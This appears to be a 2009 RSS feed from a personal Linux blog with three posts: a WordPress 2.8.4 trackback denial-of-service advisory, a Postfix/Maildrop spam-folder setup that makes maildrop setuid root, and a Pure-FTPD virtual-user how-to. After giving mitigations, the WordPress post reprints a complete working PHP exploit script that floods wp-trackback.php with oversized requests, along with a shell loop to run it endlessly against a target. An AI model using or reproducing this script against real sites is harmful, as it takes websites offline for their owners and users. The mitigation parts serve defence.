<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Steve Fortuna &#187; Linux</title>
	<atom:link href="http://www.stevefortuna.com/category/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.stevefortuna.com</link>
	<description>Technology Blog</description>
	<lastBuildDate>Thu, 09 Sep 2010 00:33:19 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>New 0-Day WordPress Exploit</title>
		<link>http://www.stevefortuna.com/new-0-day-wordpress-exploit/</link>
		<comments>http://www.stevefortuna.com/new-0-day-wordpress-exploit/#comments</comments>
		<pubDate>Mon, 19 Oct 2009 18:36:51 +0000</pubDate>
		<dc:creator>steve</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.stevefortuna.com/?p=66</guid>
		<description><![CDATA[WordPress is vulnerable to a very dirty exploit right now as of 2.8.4. There&#8217;s a resource exhaustion DoS that is floating around the public right now. It&#8217;s a vulnerability in wp-trackbacks.php that hurts. Here&#8217;s the results from a quick test against my server: 13:30:29 up 36 days, 1:06, 12 users, load average: 45.06, 17.11, 6.24 [...]]]></description>
			<content:encoded><![CDATA[<p>WordPress is vulnerable to a very dirty exploit right now as of 2.8.4.  There&#8217;s a resource exhaustion DoS that is floating around the public right now.  It&#8217;s a vulnerability in wp-trackbacks.php that hurts.</p>
<p>Here&#8217;s the results from a quick test against my server:</p>
<p>13:30:29 up 36 days,  1:06, 12 users,  load average: 45.06, 17.11, 6.24</p>
<p>Very dirty.</p>
<p>Here&#8217;s a temporary fix that can be implemented until we get a real patch.</p>
<p>Add the following lines to your Apache 2 config file:<br />
<code>&lt;Files ~ "wp-trackback.php"&gt;<br />
    Order allow,deny<br />
    Deny from all<br />
&lt;/Files&gt;</code><br />
This should be placed in the main config, not a virtual hosts config.  This will disable any URLs with &#8220;wp-trackback.php&#8221; in it.  This is a quick and ugly fix, but will help against this attack.</p>
<p>I expect WordPress will have an update soon.</p>
<p><strong>UPDATE:</strong>  With the help of a friend we have created a quick fix:</p>
<p>In line #47 of wp-trackback.php, add this:</p>
<p><code>if(strlen($charset) &gt; 50)<br />
  die;</code></p>
<p>Here&#8217;s the actual exploit.</p>
<p><code>&lt;?php<br />
/*<br />
 * wordpress Resource exhaustion Exploit<br />
 * http://rooibo.wordpress.com/<br />
 * security@wordpress.org contacted and get a response,<br />
 * but no solution available.<br />
 *<br />
 * [18/10/2009 20:31:00] modified by Zerial http://blog.zerial.org &lt;panic@zerial.org&gt;<br />
 *<br />
 * exploiting:<br />
 * you must install php-cli (command line interface)<br />
 * $ while /bin/true; do php wp-trackbacks_dos.php http://target.com/wordpress; done<br />
 *<br />
 */<br />
if(count($argv) &lt; 2)<br />
    die("You need to specify a url to attack\n");<br />
$url = $argv[1];<br />
$data = parse_url($url);<br />
if(count($data) &lt; 2)<br />
    die("The url should have http:// in front of it, and should be complete.\n");<br />
$path = (count($data)==2)?"":$data['path'];<br />
$path = trim($path,'/').'/wp-trackback.php';<br />
if($path{0} != '/')<br />
    $path = '/'.$path;<br />
$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);<br />
$charset = "";<br />
$charset = str_pad($charset,140000,"UTF-8,");<br />
$str = 'charset='.urlencode($charset);<br />
$str .= '&amp;url=www.example.com';<br />
$str .= '&amp;title='.$b;<br />
$str .= '&amp;blog_name=lol';<br />
$str .= '&amp;excerpt=lol';<br />
for($n = 0; $n &lt;= 5; $n++){<br />
    $fp = @fsockopen($data['host'],80);<br />
        if(!$fp)<br />
        die("unable to connect to: ".$data['host']."\n");<br />
    $pid[$n] = pcntl_fork();<br />
    if(!$pid[$n]){<br />
        fputs($fp, "POST $path HTTP/1.1\r\n");<br />
        fputs($fp, "Host: ".$data['host']."\r\n");<br />
        fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");<br />
        fputs($fp, "Content-length: ".strlen($str)."\r\n");<br />
        fputs($fp, "Connection: close\r\n\r\n");<br />
        fputs($fp, $str."\r\n\r\n");<br />
        echo "hit!\n";<br />
    }<br />
}<br />
?&gt;</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.stevefortuna.com/new-0-day-wordpress-exploit/feed/</wfw:commentRss>
		<slash:comments>25</slash:comments>
		</item>
		<item>
		<title>Postfix Maildrop Spam Folder</title>
		<link>http://www.stevefortuna.com/postfix-maildrop-spam-folder/</link>
		<comments>http://www.stevefortuna.com/postfix-maildrop-spam-folder/#comments</comments>
		<pubDate>Thu, 17 Sep 2009 17:00:17 +0000</pubDate>
		<dc:creator>steve</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[junk mail]]></category>
		<category><![CDATA[maildrop]]></category>
		<category><![CDATA[postfix]]></category>
		<category><![CDATA[spam filtering]]></category>

		<guid isPermaLink="false">http://www.stevefortuna.com/?p=40</guid>
		<description><![CDATA[Filtering spam in Postfix is pretty simple.  There&#8217;s some advanced techniques you can use, but simply setting up Spamassassin will suit many people.  One downside is seeing all the ***** SPAM ***** mails in your inbox.  It took a while to come up with a solution, but the best fit so far has been implementing [...]]]></description>
			<content:encoded><![CDATA[<p>Filtering spam in Postfix is pretty simple.  There&#8217;s some advanced techniques you can use, but simply setting up Spamassassin will suit many people.  One downside is seeing all the ***** SPAM ***** mails in your inbox.  It took a while to come up with a solution, but the best fit so far has been implementing Maildrop to automatically move those files to a Junk folder.  Here&#8217;s the steps to set this up on a Debian 5.0 system with Postfix and Spamassassin.</p>
<p>First, setup your /etc/maildroprc file:</p>
<pre>
# commands and variables for making the mail directories
maildirmake=/usr/bin/maildirmake
mkdir=/bin/mkdir
rmdir=/bin/rmdir
MAILDIR=$DEFAULT

# make the user's mail directory if it doesn't exist
`test -e $MAILDIR`
if ($RETURNCODE != 0)
{
`$mkdir -p $MAILDIR`
`$rmdir $MAILDIR`
`$maildirmake $MAILDIR`
}

# make the .Junk folder if it doesn't exist
JUNK_FOLDER=.Junk
_JUNK_DEST=$MAILDIR/$JUNK_FOLDER/
`test -d $_JUNK_DEST`
if ($RETURNCODE != 0 )
{
`$maildirmake $_JUNK_DEST`
#auto subscribe. the following works for courier-imap
`echo INBOX.Junk &gt;&gt; $MAILDIR/courierimapsubscribed`
}

# If the Spam-Flag is set, move the mail to the Junk folder
if (/^X-Spam-Flag:.*YES/)
{
exception {
to $DEFAULT/.Junk/
}
}
</pre>
<p>The comments clearly state what&#8217;s going on there.</p>
<p>Once that&#8217;s setup, you will go into your /etc/postfix/master.cf and make sure the</p>
<pre>maildrop  unix  -       n       n       -       -       pipe
  flags=DRhu user=vmail argv=/usr/bin/maildrop -d ${recipient}</pre>
<p>is not commented out.</p>
<p>Next you will have to set the /usr/bin/maildrop file setuid root.  This is so maildrop can interact with authdaemon and the mail folders.</p>
<pre>#chmod +s /usr/bin/maildrop</pre>
<p>The last thing you have to do is add this to your /etc/postfix/main.cf file:</p>
<pre>virtual_transport = maildrop
maildrop_destination_recipient_limit = 1</pre>
<p>If there is another virtual_transport line, be sure to comment that out first.</p>
<p>And that&#8217;s all.  Nice and simple way to handle all that Junk mail.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stevefortuna.com/postfix-maildrop-spam-folder/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Debian Pure-FTPD Virtual Users Howto</title>
		<link>http://www.stevefortuna.com/debian-pure-ftpd-virtual-users-howto/</link>
		<comments>http://www.stevefortuna.com/debian-pure-ftpd-virtual-users-howto/#comments</comments>
		<pubDate>Mon, 07 Sep 2009 20:37:09 +0000</pubDate>
		<dc:creator>steve</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[ftp howto]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[pure-ftpd]]></category>
		<category><![CDATA[virtual users]]></category>

		<guid isPermaLink="false">http://www.stevefortuna.com/?p=35</guid>
		<description><![CDATA[After being a dedicated Gentoo user, I&#8217;ve recently moved over to Debian.  Hoping to work more on productive tasks, than just administrating my servers.  In the switch I had to configure Pure-FTPD to use virtual users, and the config files are quite a bit different than Gentoo. I thought I&#8217;d write up a quick how [...]]]></description>
			<content:encoded><![CDATA[<p>After being a dedicated Gentoo user, I&#8217;ve recently moved over to Debian.  Hoping to work more on productive tasks, than just administrating my servers.  In the switch I had to configure Pure-FTPD to use virtual users, and the config files are quite a bit different than Gentoo.</p>
<p>I thought I&#8217;d write up a quick how to on how to configure Pure-FTPD with virtual users in Debian, as sort of a personal reference, and in hope someone else will be able to put it to use.  And here we go..</p>
<p>Enable PureDB authentication:</p>
<p># cd /etc/pure-ftpd/auth</p>
<p># ln -s ../conf/PureDB 50pure</p>
<p>To disable PAM authentication and UNIX authentication so you only have virtual users:<br />
# echo no &gt; /etc/pure-ftpd/conf/PAMAuthentication</p>
<p># echo no &gt; /etc/pure-ftpd/conf/UnixAuthentication</p>
<p>That&#8217;s it.  Simple, but when coming from a single config file, this isn&#8217;t at all intuitive &#8211; at least to me.</p>
<p>I&#8217;ve always recommended Pure-FTPD for it&#8217;s security, features, and simplicity.  You can find out more information at the official Pure-FTPD projects website: <a title="Pure-FTPD" href="http://www.pureftpd.org">www.Pure-FTPD.org</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.stevefortuna.com/debian-pure-ftpd-virtual-users-howto/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
